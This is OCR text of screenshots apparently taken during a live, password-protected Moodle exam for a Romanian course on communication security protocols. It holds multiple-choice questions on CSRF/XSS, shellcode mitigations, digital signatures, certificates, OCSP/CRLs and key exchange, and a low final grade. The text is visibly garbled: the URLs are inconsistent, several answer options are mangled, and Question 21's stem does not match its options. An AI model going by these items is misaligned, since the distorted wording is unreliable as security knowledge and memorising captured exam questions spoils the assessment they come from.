## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 5 Answer saved Marked out of 100 1% Flag question

Care dintre următoarele vulnerabilități ar putea fiexploata pentru a lăsa sesiunea unui utilizator autenticat?

Select one or more:

Cross-Site Request Forgery (CSRF)

Cross-Site Scripting (XSS)

SQL Injection

Time left 0:29:45

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

moodlecsubb Type here to search 8:04 PM 6/10/2024

Acesa resursa contine p... Examen 1 sesiune 2024 (page : 1 / 1) moodle.csubbdu.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=1

moodlecsubb Mihai-Daniel Pop MP

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 2 Answer saved Marked out of 100 1% Flag question

Care dintre următoarele reprezintă proprietăți care trebuie să fie respectate de către o semnătură electronică:

Select one or more:

neechivalabilă

nerepudabilă

nefalsificabilă

autentică

nealterabilă

Time left 0:29:51

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

moodlecsubb Type here to search 8:06 PM 6/10/2024

Aces la resurse, contante p... Examen 1 sesiune 2024 (page 1)

moodle.csusbclug.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=1

Mihai-Daniel Pop MP

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 4 Answer saved Marked out of 100 1<sup>st</sup> flag question

Care dintre urmatoarele mecanisme limiteaza succesul exploit-urilor de tip shell code?

Time left 0:29:47

Select one or more:

Anivirusa (compatarea) stivei

Randomizarea stivei

Data Execution Prevention

Inlaturarea titlului de executie de pe programul atacat

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

Type here to search

8:04 PM 6/10/2024

Aces la resurse, contante p... Protocole de Securitate in Comunicatii (page 1)

moodle.csusbclug.ro/mod/quiz/view.php?id=4973

Mihai-Daniel Pop MP

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Navigation

Home Dashboard Site pages My courses Protocole de Securitate in Comunicatii Participants Competencies Badges General Quiz de test Examen 1 sesiune 2024 Topic 1 Topic 2 Topic 3 Topic 4 Topic 5 Topic 6 Topic 7 Topic 8 Topic 9 Topic 10 MAC

Examen 1 sesiune 2024

Examen 1 sesiune 2024. Pana la acces la quiz se presteaza in sala si este valabila 5 minute timp in care puteti incepe quiz-ul.

Attempts allowed: 1 To attempt this quiz you need to know the quiz password Time limit: 40 mins

Summary of your previous attempts

State	Marks / 25.00	Grade / 9.00	Review
Finished Submitted Monday, 10 June 2024 8:00 PM	7.40	2.66	

Your final grade for this quiz is 2.66/9.00.

No more attempts are allowed.

Back to the course

Quiz de test Jump to...

Aces la resurse, contante p... Examen 1 sesiune 2024 (page 1)

moodle.csusbclug.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=17

Mihai-Daniel Pop MP

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 18 Answer saved Marked out of 100 1<sup>st</sup> flag question

Criptarea datelor intre parteneri se poate face in Internet la care dintre urmatoarele nivele:

Time left 0:29:17

Select one or more:

Fisier si legatura de date

Rețea

Aplicație

Previous page Next page

Quiz de test Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

Type here to search

8:07 PM 6/10/2024

Aceseaza resursele contineaza... Examen 1 sesiune 2024 (page: 1) moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=23 moodlecsubb

## Protocolo de Securitate in Comunicatii

Home / My courses / Protocolo de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 24 Answer saved Marked out of 100 1<sup>st</sup> flag question

Care dintre urmatoarele reprezinta schema de validare a unui certificat digital?

Select one or more:

DCVP - Digital Certificate Validation Process  
 OCSP - Online Certificate Status Protocol  
 CRLs - Certificate Revocation Lists

Time left 0:29:05

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocolo de Securitate in Comunicatii  
Data retention summary

https://moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973

Type here to search

8:07PM 6/10/2024

Aceseaza resursele contineaza... Examen 1 sesiune 2024 (page: 1) moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973 moodlecsubb

## Protocolo de Securitate in Comunicatii

Home / My courses / Protocolo de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 1 Answer saved Marked out of 100 1<sup>st</sup> flag question

Care dintre urmatoarele afirmații despre procesul de schimbă de chei sunt adevărate în contextul folosirii de algoritmi de criptare simetриči, respectiv asimetrici?

Select one or more:

În ambele situații, schimbă de chei se poate realiza pe același canal / prin același mecanism prin care are loc și comunicarea  
 Schimbă de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie să se realizeze doar în cazul algoritmilor de criptare simetriči  
 Schimbă de chei pe un alt canal / mecanism diferit de comunicare alternativ trebuie să se realizeze doar în cazul algoritmilor de criptare asimetrici

Time left 0:30:35

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocolo de Securitate in Comunicatii  
Data retention summary

https://moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973

Type here to search

8:09PM 6/10/2024

Aceseaza resursele contineaza... Examen 1 sesiune 2024 (page: 1) moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973 moodlecsubb

## Protocolo de Securitate in Comunicatii

Home / My courses / Protocolo de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 22 Answer saved Marked out of 100 1<sup>st</sup> flag question

Autoritatea de marca temporală care dovedesc existența unui document la un anumit moment de timp:

Select one or more:

Semnează și ele documentul  
 Stocărează documentul  
 Semnează un hash al documentului

Time left 0:29:09

Previous page Next page

Quizz de test Jump to: ▾

You are logged in as Mihai-Daniel Pop (Log out)  
Protocolo de Securitate in Comunicatii  
Data retention summary

https://moodle.csubb.digi.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973

Type here to search

8:07PM 6/10/2024

Acess la resursele contineaza... Examen 1 sesiune 2024 (page : 2)

moodle.csubb.cs.ug.edu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=22

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 23

Answer saved

Marked out of 100

1' Flag question

Time left 0:29:07

Functia aplicata pe text si pe cheie privata poate asigura:

Select one or more:

- confidentialitya mesajului
- nonrepudierea mesajului
- autenticitatea mesajului
- integritatea mesajului

Previous page

Next page

Quiz de test

Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

Type here to search

8:07PM 6/10/2024

Acess la resursele contineaza... Examen 1 sesiune 2024 (page : 2)

moodle.csubb.cs.ug.edu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=20

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 21

Answer saved

Marked out of 100

1' Flag question

Time left 0:29:11

Care este perioada de validitate a unui certificat digital emis de un site Web în scopul autentificării acestuia de către client (compromitere în sensul aducerii acestui certificat la cunoștință publică)?

Select one or more:

- Se poate extrage cheia publică din acest certificat, dar acest fapt nu reprezintă un pericol.
- Se poate extrage cheia privată din acest certificat.
- Se pot semna documente în numele site-ului web respectiv.
- Nu există niciun pericol.

Previous page

Next page

Quiz de test

Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

Type here to search

8:07PM 6/10/2024

Acess la resursele contineaza... Examen 1 sesiune 2024 (page : 2)

moodle.csubb.cs.ug.edu.ro/mod/quiz/attempt.php?attempt=387802&cmid=4973&page=24

moodlecsubb

## Protocole de Securitate in Comunicatii

Home / My courses / Protocole de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1	2	3	4	5	6	7	8
9	10	11	12	13	14	15	16
17	18	19	20	21	22	23	24
25							

Finish attempt ...

Back

Question 25

Answer saved

Marked out of 100

1' Flag question

Time left 0:29:03

Cheia publică este folosită pentru:

Select one or more:

- Semnarea documentelor.
- Criptarea mesajelor.
- Decriptarea mesajelor.
- Verificarea semnăturilor digitale.

Previous page

Finish attempt ...

Quiz de test

Jump to...

You are logged in as Mihai-Daniel Pop (Log out)  
Protocole de Securitate in Comunicatii  
Data retention summary

Type here to search

8:07PM 6/10/2024

Acese resursele sunt înțelese ca fiind publice

Examen 1 sesiune 2024 (page : 19)

moodle.csusbclug.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=19

Mihai-Daniel Pop

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 20

Answer saved

Marked out of 100

1' Flag question

Time left 0:29:12

Discriminarea în siguranță către terți a cheii publice a unei emisiuni se poate face:

Select one or more:

Prin intermediul unui certificat digital semnat

Fără vorba de cheia publică, nu trebuie luate măsuri suplimentare de siguranță, toată lumea putând cunoaște această cheie

Odată cu diseminarea spre terți a cheii private

Pe un canal alternativ securizat, diferit de cel pe care urmează se face comunicarea

Previous page

Next page

Quiz die test

Jump to...

You are logged in as Mihai-Daniel Pop (Log out)

Protocoale de Securitate in Comunicatii

Data refresher summary

Type here to search

8:07 PM 6/10/2024

Acese resursele sunt înțelese ca fiind publice

Examen 1 sesiune 2024 (page : 18)

moodle.csusbclug.ro/mod/quiz/attempt.php?attempt=38780&cmid=4973&page=18

Mihai-Daniel Pop

Protocoale de Securitate in Comunicatii

Home / My courses / Protocoale de Securitate in Comunicatii / General / Examen 1 sesiune 2024

Quiz navigation

1 2 3 4 5 6 7 8  
9 10 11 12 13 14 15 16  
17 18 19 20 21 22 23 24  
25

Finish attempt ...

Back

Question 19

Answer saved

Marked out of 100

1' Flag question

Time left 0:29:14

Certificatul digital autosemnant se folosește:

Select one or more:

Un certificat nu poate fi autosemnat

De către autoritatea de certificare

Doar dacă aparțin/sunt emise de către un utilizator pentru el însuși și sunt semnate și de către autoritatea de certificare

Previous page

Next page

Quiz die test

Jump to...

You are logged in as Mihai-Daniel Pop (Log out)

Protocoale de Securitate in Comunicatii

Data refresher summary

Type here to search

8:07 PM 6/10/2024

